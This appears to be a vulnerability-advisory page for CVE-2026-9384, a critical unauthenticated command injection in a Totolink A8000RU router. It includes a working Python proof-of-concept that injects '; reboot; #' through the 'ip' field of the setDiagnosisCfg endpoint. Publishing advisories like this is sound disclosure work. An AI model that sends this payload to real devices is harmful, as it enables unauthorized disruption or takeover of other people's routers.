Security Vulnerability Report
中文
CVE-2026-9384 CVSS 9.8 CRITICAL

CVE-2026-9384

Published: 2026-05-24 14:16:18
Last Modified: 2026-05-24 14:16:18

Description

A vulnerability was found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setDiagnosisCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. The manipulation of the argument ip results in os command injection. The attack can be executed remotely. The exploit has been made public and could be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Malicious payload injecting a command (e.g., reboot or telnet) # Using ';' to separate commands in shell payload = { "function": "setDiagnosisCfg", "ip": "127.0.0.1; reboot; #" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" } try: response = requests.post(url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if device rebooted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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